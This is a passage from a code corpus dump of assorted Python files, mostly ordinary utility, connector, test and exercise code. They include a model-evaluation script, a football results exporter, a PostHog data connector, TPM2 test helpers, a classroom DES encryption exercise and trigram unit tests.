filenames\r\n\t\ttest_target: df with observed values for target var\r\n\t\"\"\"\r\n\r\n\tmaes = []\r\n\tvar = 'retail_and_recreation_percent_change_from_baseline'\r\n\r\n\tname_cutoff = 33 if pca else 35\r\n\r\n\tfor p in prediction_list:\r\n\t\tprediction = jl.load(p)\r\n\t\tn = p[name_cutoff:p.find(' - Test')]\r\n\r\n\t\tmae = calc_MAE(test_target, prediction, var)\r\n\t\tmaes.append((n, mae))\r\n\r\n\tdf = pd.DataFrame.from_records(maes)\r\n\tdf.columns = ['Model', 'MAE']\r\n\r\n\treturn df\r\n\r\n\r\ndef execute_MAE_cal():\r\n\t\"\"\"\r\n\texecutes process of create MAE for all predictions\r\n\treturns df of MAEs per model and saves csv in output folder\r\n\t\"\"\"\r\n\r\n\ttest_target = load_test_target()\r\n\tprediction_list = get_test_predictions_files(pca=True)\r\n\trv = calc_MAE_by_model(prediction_list, test_target)\r\n\trv['version'] = rv['Model'].str[-1]\r\n\trv['Model'] = rv['Model'].apply(lambda x: x[:x.find(' - ')])\r\n\r\n\tprint('outputting csv...')\r\n\trv.to_csv(join(OUTPUT, 'test_MAEs.csv'), index=False)\r\n\r\n\treturn rv\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n\tprint('whaddup')\r\n\texecute_MAE_cal()\r\n\r\n\r\n\r\n\r\n","sub_path":"scripts/evaluate_models_on_test.py","file_name":"evaluate_models_on_test.py","file_ext":"py","file_size_in_byte":4102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"69373209","text":"\"\"\"\nUse the football data API to get past years data\nUsage example:\npython make_results_csv.py --start_year 2018 --output_dir ./airsenal/data/\n\"\"\"\n\nimport os\nimport sys\nimport argparse\nfrom airsenal.framework.data_fetcher import MatchDataFetcher\nfrom airsenal.framework.mappings import alternative_team_names\n\n\n\ndef main(args):\n    start_year = args.start_year\n    start_year_short = start_year[-2:]\n    end_year_short = str(int(start_year_short) + 1)\n    end_year = \"20\" + end_year_short\n\n    outfilename = os.path.join(args.output_dir,\"results_{}{}_with_gw.csv\".format(\n        start_year_short, end_year_short))\n\n    outfile = open(outfilename, \"w\")\n    outfile.write(\"date,home_team,away_team,home_score,away_score,gameweek\\n\")\n\n    home_team = \"\"\n    away_team = \"\"\n    datestr = \"\"\n\n    gameweek = 0\n    md = MatchDataFetcher()\n\n    for gw in range(1,39):\n        results = md.get_results(gw, start_year)\n        for result in results:\n            date = result[0].split(\"T\")[0]\n            home_team = alternative_team_names[result[1]][1]\n            away_team = alternative_team_names[result[2]][1]\n            home_score = result[3]\n            away_score = result[4]\n            outfile.write(\"{},{},{},{},{},{}\\n\".format(date,\n                                                       home_team,\n                                                       away_team,\n                                                       home_score,\n                                                       away_score,\n                                                       gw))\n            print(\"{} {} {} {} {} {}\".format(gw, date, home_team, away_team, home_score, away_score))\n    outfile.close()\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Create results CSV\")\n    parser.add_argument(\"--start_year\",\n                        help=\"Year that season started\",\n                        required=True)\n    parser.add_argument(\"--output_dir\",\n                        help=\"output directory for CSV file\",\n                        required=True)\n    args = parser.parse_args()\n    main(args)\n","sub_path":"airsenal/scripts/make_results_csv.py","file_name":"make_results_csv.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"256804816","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\ndef func_33(x):\n    return np.exp(x) + x*np.log10(x) + x\n\nstart = 4.5\nend = 25\nstep = 0.5\n\nx = np.arange(start, end, step)\ny = func_33(x)\n\norder = 11 # order of polynom\nA = np.fliplr(np.vander(x, order))\nprint(\"A \", A)\ncoefs, _, _, _ = np.linalg.lstsq(A, y)\nprint(\"coefs \", coefs)\n\ncnt = 10 # number of points to plot\ninterp_x = np.linspace(start, end, cnt)\nprint(\"Interp_x\", interp_x)\n\nprint(interp_x)\ninterp_y = np.zeros(cnt)\n\nfor ind, ix in enumerate(interp_x):\n    print(ind,ix)\n    interp_y[ind] = np.sum(coefs * ix ** np.arange(0, order))\n\nprint(\"interp_y\",interp_y)\n\nplt.figure()\nplt.plot(interp_x, interp_y, '-b', label='Лінія інтерполяції')\nplt.plot(x, y, '*r', label='Значення у функції')\nplt.xlabel('Значення х')\nplt.ylabel('Значення y')\nplt.title('Інтерполяція Вандермонда')\nplt.show()","sub_path":"courses/2/vandermond.py","file_name":"vandermond.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"502118467","text":"from Crypto.Cipher import DES\r\nfrom Crypto.Util.Padding import pad\r\n#KELOMPOK 1\r\n\"\"\"\r\nBagas Aditya pramudana\t\t\t(V3920012) \r\nDion Aji cahyono\t\t\t\t(V3920018) \r\nIsnan Nur Ahmad Wijayakusuma\t(V3920029)\r\nIvan Fausta Dinata\t\t\t\t(V3920030) \r\nKreshna Pura Adi Wicaksana\t\t(V3920032) \r\n\"\"\"\r\n\r\n#Sintak b untuk bytes. Panjang n byte block \r\nkey = b'23tfwk4'                \r\npanjang_key = len(key)           #For key bytes lenght\r\ndata = b'A2g4j6F8'               #Data is convert to bytes \r\npanjang_data = len(data)         #For data bytes lenght\r\n\r\n#ENKRIPSI\r\nBLOCK_SIZE = 32                     #Ukuran blok(32 atau 64 bit)\r\ndes = DES.new(key,DES.MODE_ECB)     #DES is active\r\npadded_txt = pad(data, BLOCK_SIZE)  #Padd txt is active\r\nhasil1 = des.encrypt(padded_txt)    #Encrypt was used for end result1\r\nif panjang_key <= 8 :\r\n    if panjang_data == 8:\r\n        print('KEY harus lebih dari 8 bit dan PESAN tidak boleh 8 bit')\r\n    else:\r\n        print('\\nEnkripsi:',hasil1) #Result print\r\n\r\n#DEKRIPSI\r\nif panjang_key <= 8 :\r\n    if panjang_data == 8:\r\n        print('KEY harus lebih dari 8 bit dan PESAN tidak boleh 8 bit')\r\n    else:\r\n        BLOCK_SIZE = 32\r\n        des = DES.new(key,DES.MODE_ECB)\r\n        padded_txt = pad(data, BLOCK_SIZE)\r\n        hasil2 = des.decrypt(hasil1)        #Decrypt was used for end result2 from result1 converted before it\r\n        print(\"\\nDekripsi:\",hasil2,\"\\n\")    #Result print","sub_path":"Kelompok 1/DES_Crytodome_Python.py","file_name":"DES_Crytodome_Python.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"570792261","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dec  8 15:20:09 2017\n\n@author: hpy2\n\"\"\"\n\nimport requests\nimport json\nimport hashlib\nfrom pyfiglet import Figlet\n\ndef main(filepath, trialchainip):\n    url = \"http://{0}:9000/trialchain/data_asset\".format(trialchainip)\n    with open(filepath, 'rb') as f:\n        data = f.read()\n        hasher = hashlib.md5()\n        hasher.update(data)\n        md5 = hasher.hexdigest()\n    r = requests.get(url, params={\"md5\": md5, \"trialchainip\": trialchainip})\n    response = r.json()\n    f = Figlet(font='slant')\n    print(f.renderText('TrialChain'))\n    ordered = {\n        'asset': response['asset'],\n        'sha256': response['sha256'],\n        'issuetxid': response['issuetxid'],\n        'source': response['source'],\n        'issued': response['issued'],\n        'validated': response['validated'],\n        'ethstatus': response['ethstatus'],\n        'confirmations': response['confirmations'],\n        'mchash': response['mchash'],\n        'ethtxid': response['ethtxid']\n    }\n    print(json.dumps(ordered, indent=4))\n","sub_path":"scripts/AssetChecker/src/checker/main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"10651256","text":"#\n# Copyright (c) 2021 Airbyte, Inc., all rights reserved.\n#\n\n\nimport math\nimport urllib.parse\nfrom abc import ABC, abstractmethod\nfrom typing import Any, Iterable, List, Mapping, MutableMapping, Optional, Sequence\n\nimport requests\nfrom airbyte_cdk.models import SyncMode\nfrom airbyte_cdk.sources.streams.http import HttpStream\n\n\nclass PosthogStream(HttpStream, ABC):\n    primary_key = \"id\"\n    data_field = \"results\"\n\n    def __init__(self, base_url: str, **kwargs):\n        super().__init__(**kwargs)\n        self._url_base = f\"{base_url}/api/\"\n\n    @property\n    def url_base(self) -> str:\n        return self._url_base\n\n    def next_page_token(self, response: requests.Response) -> Optional[Mapping[str, Any]]:\n        resp_json = response.json()\n        if resp_json.get(\"next\"):\n            next_query_string = urllib.parse.urlsplit(resp_json[\"next\"]).query\n            params = dict(urllib.parse.parse_qsl(next_query_string))\n            return params\n\n    def request_headers(self, **kwargs) -> Mapping[str, Any]:\n        return {\"Content-Type\": \"application/json\", \"User-Agent\": \"posthog-python/1.4.0\"}\n\n    def parse_response(self, response: requests.Response, stream_state: Mapping[str, Any], **kwargs) -> Iterable[Mapping]:\n        response_data = response.json()\n        if self.data_field:\n            response_data = response_data.get(self.data_field)\n\n        if isinstance(response_data, Sequence):\n            yield from response_data\n        elif response_data:\n            yield response_data\n\n    def request_params(\n        self, stream_state: Mapping[str, Any], stream_slice: Mapping[str, Any] = None, next_page_token: Mapping[str, Any] = None\n    ) -> MutableMapping[str, Any]:\n\n        params = {}\n        if next_page_token:\n            params.update(next_page_token)\n        return params\n\n\nclass IncrementalPosthogStream(PosthogStream, ABC):\n    \"\"\"\n    Because endpoints has descending order we need to save initial state value to know when to stop pagination.\n    start_date is used to as a min date to filter on.\n    \"\"\"\n\n    state_checkpoint_interval = math.inf\n\n    def __init__(self, base_url: str, start_date: str, **kwargs):\n        super().__init__(base_url=base_url, **kwargs)\n        self._start_date = start_date\n        self._initial_state = None  # we need to keep it here because next_page_token doesn't accept state argument\n\n    @property\n    @abstractmethod\n    def cursor_field(self) -> str:\n        \"\"\"\n        Defining a cursor field indicates that a stream is incremental, so any incremental stream must extend this class\n        and define a cursor field.\n        \"\"\"\n\n    def next_page_token(self, response: requests.Response) -> Optional[Mapping[str, Any]]:\n        \"\"\"\n        Return next page token until we reach the page with records older than state/start_date\n        \"\"\"\n        response_json = response.json()\n        data = response_json.get(self.data_field, [])\n        latest_record = data[-1] if data else None  # records are ordered so we check only last one\n\n        if not latest_record or latest_record[self.cursor_field] > self._initial_state:\n            return super().next_page_token(response=response)\n\n    def get_updated_state(self, current_stream_state: MutableMapping[str, Any], latest_record: Mapping[str, Any]) -> Mapping[str, Any]:\n        \"\"\"\n        Return the latest state by comparing the cursor value in the latest record with the stream's most recent state object\n        and returning an updated state object.\n        \"\"\"\n        latest_state = latest_record.get(self.cursor_field)\n        current_state = current_stream_state.get(self.cursor_field) or latest_state\n        return {self.cursor_field: max(latest_state, current_state)}\n\n    def parse_response(self, response: requests.Response, stream_state: Mapping[str, Any], **kwargs) -> Iterable[Mapping]:\n        \"\"\"\n        Filter records by initial_state value\n        \"\"\"\n        data = super().parse_response(response=response, stream_state=stream_state, **kwargs)\n        for record in data:\n            if record.get(self.cursor_field) >= self._initial_state:\n                yield record\n\n    def read_records(\n        self,\n        sync_mode: SyncMode,\n        cursor_field: List[str] = None,\n        stream_slice: Mapping[str, Any] = None,\n        stream_state: Mapping[str, Any] = None,\n    ) -> Iterable[Mapping[str, Any]]:\n        \"\"\"\n        Initialize initial_state value\n        \"\"\"\n        stream_state = stream_state or {}\n        self._initial_state = self._initial_state or stream_state.get(self.cursor_field) or self._start_date\n        return super().read_records(sync_mode=sync_mode, cursor_field=cursor_field, stream_slice=stream_slice, stream_state=stream_state)\n\n\nclass Annotations(IncrementalPosthogStream):\n    \"\"\"\n    Docs: https://posthog.com/docs/api/annotations\n    \"\"\"\n\n    cursor_field = \"updated_at\"\n\n    def path(self, **kwargs) -> str:\n        return \"annotation\"\n\n    def request_params(self, stream_state: Mapping[str, Any], **kwargs) -> MutableMapping[str, Any]:\n        params = super().request_params(stream_state=stream_state, **kwargs)\n        params[\"order\"] = f\"-{self.cursor_field}\"  # sort descending\n        return params\n\n\nclass Cohorts(PosthogStream):\n    \"\"\"\n    Docs: https://posthog.com/docs/api/cohorts\n    normal ASC sorting. But without filters like `since`\n    \"\"\"\n\n    def path(self, **kwargs) -> str:\n        return \"cohort\"\n\n\nclass Events(IncrementalPosthogStream):\n    \"\"\"\n    Docs: https://posthog.com/docs/api/events\n    \"\"\"\n\n    cursor_field = \"timestamp\"\n\n    def path(self, stream_slice: Mapping[str, Any] = None, **kwargs) -> str:\n        return \"event\"\n\n    def request_params(self, stream_state: Mapping[str, Any], **kwargs) -> MutableMapping[str, Any]:\n        params = super().request_params(stream_state=stream_state, **kwargs)\n        since_value = stream_state.get(self.cursor_field) or self._start_date\n        since_value = max(since_value, self._start_date)\n        params[\"after\"] = since_value\n        return params\n\n\nclass EventsSessions(PosthogStream):\n    \"\"\"\n    Docs: https://posthog.com/docs/api/events\n    \"\"\"\n\n    primary_key = \"global_session_id\"\n    data_field = \"result\"\n\n    def path(self, **kwargs) -> str:\n        return \"event/sessions\"\n\n    def next_page_token(self, response: requests.Response) -> Optional[Mapping[str, Any]]:\n        resp_json = response.json()\n        return resp_json.get(\"pagination\")\n\n\nclass FeatureFlags(PosthogStream):\n    \"\"\"\n    Docs: https://posthog.com/docs/api/feature-flags\n    \"\"\"\n\n    def path(self, **kwargs) -> str:\n        return \"feature_flag\"\n\n\nclass Insights(PosthogStream):\n    \"\"\"\n    Docs: https://posthog.com/docs/api/insights\n    Endpoint does not support incremental read because id, created_at and last_refresh are ordered in any particular way\n    \"\"\"\n\n    def path(self, **kwargs) -> str:\n        return \"insight\"\n\n\nclass InsightsPath(PosthogStream):\n    \"\"\"\n    Docs: https://posthog.com/docs/api/insights\n    \"\"\"\n\n    primary_key = None\n    data_field = \"result\"\n\n    def path(self, **kwargs) -> str:\n        return \"insight/path\"\n\n\nclass InsightsSessions(PosthogStream):\n    \"\"\"\n    Docs: https://posthog.com/docs/api/insights\n    \"\"\"\n\n    primary_key = None\n    data_field = \"result\"\n\n    def path(self, **kwargs) -> str:\n        return \"insight/session\"\n\n\nclass Persons(PosthogStream):\n    \"\"\"\n    Docs: https://posthog.com/docs/api/people\n    \"\"\"\n\n    def path(self, **kwargs) -> str:\n        return \"person\"\n\n\nclass Trends(PosthogStream):\n    \"\"\"\n    Docs: https://posthog.com/docs/api/insights\n    \"\"\"\n\n    primary_key = None\n    data_field = \"result\"\n\n    def path(self, **kwargs) -> str:\n        return \"insight/trend\"\n\n\nclass PingMe(PosthogStream):\n    \"\"\"\n    Docs: https://posthog.com/docs/api/user\n    \"\"\"\n\n    data_field = None\n\n    def path(self, **kwargs) -> str:\n        return \"users/@me\"\n","sub_path":"airbyte-integrations/connectors/source-posthog/source_posthog/streams.py","file_name":"streams.py","file_ext":"py","file_size_in_byte":7893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"596310121","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Oct  5 17:38:05 2019\r\n\r\n@author: Modo\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport scipy.io\r\nimport matplotlib.pyplot as plt\r\nimport function_definition as fd\r\n\r\n## =========== Part 1: Loading and Visualizing Data =============\r\ndata = scipy.io.loadmat('ex3data1.mat') \r\nX = data['X'] \r\ny = data['y'].flatten()\r\nm = np.size(X, 0)\r\n\r\nsel = np.random.permutation(m)\r\nsel = X[sel[0:100],:]\r\nfd.displayData(sel)\r\n\r\n## ================ Part 2: Loading Pameters ================\r\nparam = scipy.io.loadmat('ex3weights.mat')\r\ntheta1 = param['Theta1']\r\ntheta2 = param['Theta2']\r\n\r\n## ================= Part 3: Implement Predict =================\r\npred = fd.predict(theta1,theta2,X)\r\nprint('Training Set Accuracy: %.2f%%' % (np.mean(pred == y) * 100))\r\n\r\nrp = np.random.permutation(m)\r\nfor i in range(1,m+1):\r\n    print('\\nDisplaying Example Image\\n'); \r\n    plt.matshow(X[rp[i], :].reshape(20,20))\r\n    plt.show()\r\n    \r\n    pred = fd.predict(theta1, theta2, X[rp[i], :].reshape(1,400));\r\n    print('\\nNeural Network Prediction: %d' % pred);\r\n    s = input('Paused - press enter to continue, q to exit:');\r\n    if s == 'q':\r\n        break\r\n   \r\n    \r\n","sub_path":"Machine Learning/ex3 Multi-class Classification and Neural Networks/Neural_Networks.py","file_name":"Neural_Networks.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"558573452","text":"import datetime\nfrom base_client import BaseClient\n\n\nclass Friends(BaseClient):\n    class FriendsNotFound(Exception):\n        @staticmethod\n        def msg():\n            print('Friends not found')\n\n    method = 'friends'\n    http_method = 'get'\n\n    def __init__(self, uid):\n        self.uid = uid\n\n    def get_params(self):\n        return {'user_id': self.uid, 'fields': 'bdate'}\n\n    def response_handler(self, response):\n        friends = response.json().get('response')\n        if not friends:\n            raise self.FriendsNotFound\n\n        ages = []\n        today = datetime.datetime.today()\n        c = []\n\n        for friend in friends:\n            date = friend.get('bdate')\n\n            try:\n                dt = datetime.datetime.strptime(date, '%d.%m.%Y')\n            except TypeError:\n                continue\n            except ValueError:\n                continue\n\n            age = today.year - dt.year\n            if today.month < dt.month:\n                age -= 1\n            elif today.month == dt.month and today.day < dt.day:\n                age -= 1\n\n            ages.append(age)\n\n\n\n\n        return ages\n","sub_path":"friends.py","file_name":"friends.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"512306791","text":"import os\nimport time\nimport tempfile\nimport unittest\nimport contextlib\n\nfrom tpm2_pytss import tcti\nfrom tpm2_pytss.esys import ESYS\nfrom tpm2_pytss.fapi import FAPI, FAPIConfig\nfrom tpm2_pytss.exceptions import TPM2Error\nfrom tpm2_pytss.util.simulator import SimulatorTest\n\nENV_TCTI = \"PYESYS_TCTI\"\nENV_TCTI_DEFAULT = \"mssim\"\nENV_TCTI_CONFIG = \"PYESYS_TCTI_CONFIG\"\nENV_TCTI_CONFIG_DEFAULT = None\n\nTCTI_RETRY_TRIES = 50\nTCTI_RETRY_TIMEOUT = 0.5\n\n\nclass TCTIRetry:\n    def __init__(\n        self, i=0, timeout=TCTI_RETRY_TIMEOUT, tries=0, max_tries=TCTI_RETRY_TRIES\n    ):\n        self.i = i\n        self.timeout = timeout\n        self.tries = tries\n        self.max_tries = max_tries\n        self.success = False\n\n    def __str__(self):\n        return \"%s(i=%d, timeout=%f, tries=%d, max_tries=%d, success=%s)\" % (\n            self.__class__.__qualname__,\n            self.i,\n            self.timeout,\n            self.tries,\n            self.max_tries,\n            self.success,\n        )\n\n\n@contextlib.contextmanager\ndef retry_tcti_catch(retry):\n    retry.success = True\n    try:\n        yield retry\n    except TPM2Error as error:\n        retry.success = False\n        if not \"tcti:IO failure\" in str(error):\n            raise\n        time.sleep(retry.timeout)\n        retry.tries += 1\n        retry.timeout *= 1.08\n        print(retry)\n        if retry.tries > retry.max_tries:\n            raise\n\n\ndef retry_tcti_loop(timeout=TCTI_RETRY_TIMEOUT, max_tries=TCTI_RETRY_TRIES):\n    retry = TCTIRetry(i=-1, timeout=timeout, max_tries=max_tries)\n    while not retry.success:\n        retry.i += 1\n        yield retry\n\n\nclass BaseTestESYS(SimulatorTest, unittest.TestCase):\n    \"\"\"\n    ESYS tests should subclass from this\n    \"\"\"\n\n    def setUp(self):\n        super().setUp()\n        self.esys = ESYS()\n        self.tcti = tcti.TCTI.load(os.getenv(ENV_TCTI, default=ENV_TCTI_DEFAULT))\n        self.tcti_config = os.getenv(\n            ENV_TCTI_CONFIG, default=\"port=%d\" % (self.simulator.port)\n        )\n        # Create a context stack\n        self.ctx_stack = contextlib.ExitStack().__enter__()\n        # Enter the contexts\n        for retry in retry_tcti_loop():\n            with retry_tcti_catch(retry):\n                self.tcti_ctx = self.ctx_stack.enter_context(\n                    self.tcti(config=self.tcti_config)\n                )\n        self.esys_ctx = self.ctx_stack.enter_context(self.esys(self.tcti_ctx))\n        # Call Startup and clear the TPM\n        self.esys_ctx.Startup(self.esys_ctx.TPM2_SU_CLEAR)\n        # Set the timeout to blocking\n        self.esys_ctx.SetTimeout(self.esys_ctx.TSS2_TCTI_TIMEOUT_BLOCK)\n\n    def tearDown(self):\n        super().tearDown()\n        self.ctx_stack.__exit__(None, None, None)\n\n\nclass BaseTestFAPI(SimulatorTest, unittest.TestCase):\n    \"\"\"\n    FAPI tests should subclass from this\n    \"\"\"\n\n    def setUp(self):\n        super().setUp()\n        # Create a context stack\n        self.ctx_stack = contextlib.ExitStack().__enter__()\n        # Create temporary directories\n        self.user_dir = self.ctx_stack.enter_context(tempfile.TemporaryDirectory())\n        self.log_dir = self.ctx_stack.enter_context(tempfile.TemporaryDirectory())\n        self.system_dir = self.ctx_stack.enter_context(tempfile.TemporaryDirectory())\n        # Create the FAPI object\n        self.fapi = FAPI(\n            FAPIConfig.default()._replace(\n                user_dir=self.user_dir,\n                system_dir=self.system_dir,\n                log_dir=self.log_dir,\n                tcti=\"mssim:port=%d\" % (self.simulator.port,),\n            )\n        )\n        # Enter the contexts\n        for retry in retry_tcti_loop():\n            with retry_tcti_catch(retry):\n                self.fapi_ctx = self.ctx_stack.enter_context(self.fapi)\n\n    def tearDown(self):\n        super().tearDown()\n        self.ctx_stack.__exit__(None, None, None)\n","sub_path":"tests/base_esys.py","file_name":"base_esys.py","file_ext":"py","file_size_in_byte":3872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"401982038","text":"# Copyright 2018 ICON Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"A base class of consensus for the loopchain\"\"\"\nimport logging\nfrom abc import ABCMeta, abstractmethod\nfrom loopchain import configure as conf\nfrom loopchain.blockchain import BlockBuilder\nfrom loopchain.blockchain import TransactionVersions, Transaction, TransactionStatusInQueue, TransactionVerifier\n\n\nclass ConsensusBase(metaclass=ABCMeta):\n    \"\"\"LoopChain 의 Consensus Algorithm 을 표현하는 클래스\n    \"\"\"\n\n    def __init__(self, blockmanager):\n        self._blockmanager = blockmanager\n        self._channel_name = blockmanager.channel_name\n        self._made_block_count = 0\n        self._blockchain = self._blockmanager.get_blockchain()\n        self._txQueue = self._blockmanager.get_tx_queue()\n\n    @property\n    def made_block_count(self):\n        return self._made_block_count\n\n    def stop(self):\n        pass\n\n    @abstractmethod\n    async def consensus(self):\n        \"\"\"Block Manager 의 Thread Loop 에서 호출 하는 합의 알고리즘\n        \"\"\"\n        pass\n\n    def _makeup_block(self):\n        block_builder = BlockBuilder.new(\"0.1a\")\n\n        tx_versions = TransactionVersions()\n        while self._txQueue:\n            if len(block_builder) >= conf.MAX_TX_SIZE_IN_BLOCK:\n                logging.debug(f\"consensus_base total size({len(block_builder)}) \"\n                              f\"count({len(block_builder.transactions)}) \"\n                              f\"_txQueue size ({len(self._txQueue)})\")\n                break\n\n            tx: 'Transaction' = self._txQueue.get_item_in_status(\n                TransactionStatusInQueue.normal,\n                TransactionStatusInQueue.added_to_block\n            )\n            if tx is None:\n                break\n\n            tx_hash_version = tx_versions.get_hash_generator_version(tx.version)\n            tv = TransactionVerifier.new(tx.version, tx_hash_version)\n\n            try:\n                tv.verify(tx, self._blockchain)\n            except Exception as e:\n                logging.warning(f\"tx hash invalid. tx: {tx}\")\n            else:\n                block_builder.transactions[tx.hash] = tx\n\n        return block_builder\n","sub_path":"loopchain/peer/consensus_base.py","file_name":"consensus_base.py","file_ext":"py","file_size_in_byte":2693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"246473614","text":"\"\"\"\n    给定一个数组，将数组中的元素向右移动 k 个位置，其中 k 是非负数。\n\n    示例 1:\n        输入: [1,2,3,4,5,6,7] 和 k = 3\n        输出: [5,6,7,1,2,3,4]\n        解释:\n            向右旋转 1 步: [7,1,2,3,4,5,6]\n            向右旋转 2 步: [6,7,1,2,3,4,5]\n            向右旋转 3 步: [5,6,7,1,2,3,4]\n\n    示例 2:\n        输入: [-1,-100,3,99] 和 k = 2\n        输出: [3,99,-1,-100]\n        解释:\n            向右旋转 1 步: [99,-1,-100,3]\n            向右旋转 2 步: [3,99,-1,-100]\n\n    说明:\n        尽可能想出更多的解决方案，至少有三种不同的方法可以解决这个问题。\n        要求使用空间复杂度为 O(1) 的 原地 算法。\n    https://leetcode-cn.com/problems/rotate-array\n\"\"\"\n\nfrom typing import List\n\n\nclass Solution:\n    def rotate(self, nums: List[int], k: int) -> None:\n        return self.use_reverse(nums, k)\n\n    @classmethod\n    def use_loop(cls, nums: List[int], k: int) -> None:\n        nums_len = len(nums)\n        k = k % nums_len\n\n        move_times = index = 0\n\n        while index < len(nums):\n            value = nums[index]\n            new_index = (index + k) % nums_len\n\n            while True:\n                old_value = nums[new_index]\n\n                # 更新值\n                nums[new_index] = value\n                move_times += 1\n\n                new_index = (index + k) % nums_len\n                value = old_value\n\n                if new_index == index:\n                    move_times += 1\n                    nums[new_index] = value\n                    break\n            index += 1\n\n            if move_times == nums_len:\n                break\n\n    @classmethod\n    def use_reverse(cls, nums: List[int], k: int) -> None:\n        k = k % len(nums)\n        cls.reversed_nums(nums, 0, len(nums) - 1)\n        cls.reversed_nums(nums, 0, k - 1)\n        cls.reversed_nums(nums, k, len(nums) - 1)\n\n    @classmethod\n    def reversed_nums(cls, nums: List[int], start: int, end: int) -> None:\n        while start < end:\n            nums[start], nums[end] = nums[end], nums[start]\n            start += 1\n            end -= 1\n","sub_path":"algorithm/LeetCode_189_旋转数组.py","file_name":"LeetCode_189_旋转数组.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"467942627","text":"import unittest\nfrom mock import patch, mock_open\nfrom collections import Counter\nfrom Trigram import Trigram\n\nfrom sys import version_info\nif version_info.major == 2:\n    import __builtin__ as builtins\nelse:\n    import builtins\n\nclass Test_Trigram(unittest.TestCase):\n\n    # Class-wide Tests\n    def test_trigram_constructor_saves_input_text(self):\n        text = 'the quick brown fox jumped over the fence'\n        trigram = Trigram('the quick brown fox jumped over the fence')\n        self.assertEqual(trigram.input_text, text)\n\n    def test_trigram_constructor_default_is_empty_string(self):\n        trigram = Trigram()\n        self.assertEqual(trigram.input_text, '')\n\n    def test_trigram_constructor_instantiates_empty_trigram_map_dict(self):\n        trigram = Trigram()\n        self.assertEqual(trigram.map, {})\n\n    # parse() tests\n    def test_parse_makes_trigram_map_a_dictionary(self):\n        trigram = Trigram('the quick brown fox jumped over the fence')\n        trigram.parse()\n        self.assertIsInstance(trigram.map, dict)\n\n    def test_parse_raises_error_if_text_has_less_than_three_words(self):\n        trigram = Trigram('two words')\n        self.assertRaises(ValueError, trigram.parse)\n\n    def test_parse_adds_dictionary_entry_of_first_two_words(self):\n        trigram = Trigram('three whole words')\n        trigram.parse()\n        self.assertEqual('three whole', trigram.map.keys()[0])\n\n    def test_parse_return_dict_values_are_counters(self):\n        trigram = Trigram('three whole words')\n        trigram.parse()\n        self.assertIsInstance(trigram.map['three whole'], Counter)\n\n    def test_parse_return_dict_has_second_bigram_as_key(self):\n        trigram = Trigram('four whole real words')\n        trigram.parse()\n        self.assertIsInstance(trigram.map['whole real'], Counter)\n\n    def test_parse_return_dict_value_counters_increment_to_1(self):\n        trigram = Trigram('three whole words')\n        trigram.parse()\n        self.assertEqual(1, trigram.map['three whole']['words'])\n\n    def test_parse_return_dict_value_counters_increment_to_2(self):\n        trigram = Trigram('three whole words and three whole words')\n        trigram.parse()\n        self.assertEqual(2, trigram.map['three whole']['words'])\n\n    def test_running_parse_twice_with_append_map_true_double_counts(self):\n        trigram = Trigram('three whole words')\n        trigram.parse()\n        trigram.parse(append_map=True)\n        self.assertEqual(2, trigram.map['three whole']['words'])\n\n    # predict_next_word tests\n    def test_predict_next_word_returns_string(self):\n        trigram = Trigram('three whole words')\n        trigram.parse()\n        next_word = trigram.predict_next_word(bigram = 'three whole')\n        self.assertIsInstance(next_word, str)\n\n    def test_predict_next_word_errors_if_no_map(self):\n        trigram = Trigram()\n        self.assertRaises(ValueError, trigram.predict_next_word, 'anything')\n\n    def test_predict_next_word_returns_third_word_for_trigram_input(self):\n        trigram = Trigram('three whole words')\n        trigram.parse()\n        next_word = trigram.predict_next_word(bigram = 'three whole')\n        self.assertEqual('words', next_word)\n\n    def test_predict_next_word_returns_only_possible_answer_for_longer_corpus(self):\n        trigram = Trigram('three whole words are not enough to properly test '\n                          'this method so how about fifteen')\n        trigram.parse()\n        next_word = trigram.predict_next_word(bigram = 'enough to')\n        self.assertEqual('properly', next_word)\n\n    def test_predict_next_word_returns_most_likely_word(self):\n        trigram = Trigram('two words this '\n                          'two words that '\n                          'two words this')\n        trigram.parse()\n        next_word = trigram.predict_next_word(bigram = 'two words')\n        self.assertEqual('this', next_word)\n\n    def test_predict_next_word_throws_key_error_if_map_missing_bigram(self):\n        trigram = Trigram('three whole words')\n        trigram.parse()\n        self.assertRaises(KeyError, trigram.predict_next_word, 'a word')\n\n    # generate_text tests\n    def test_generate_text_returns_string(self):\n        trigram = Trigram('three whole words')\n        trigram.parse()\n        text = 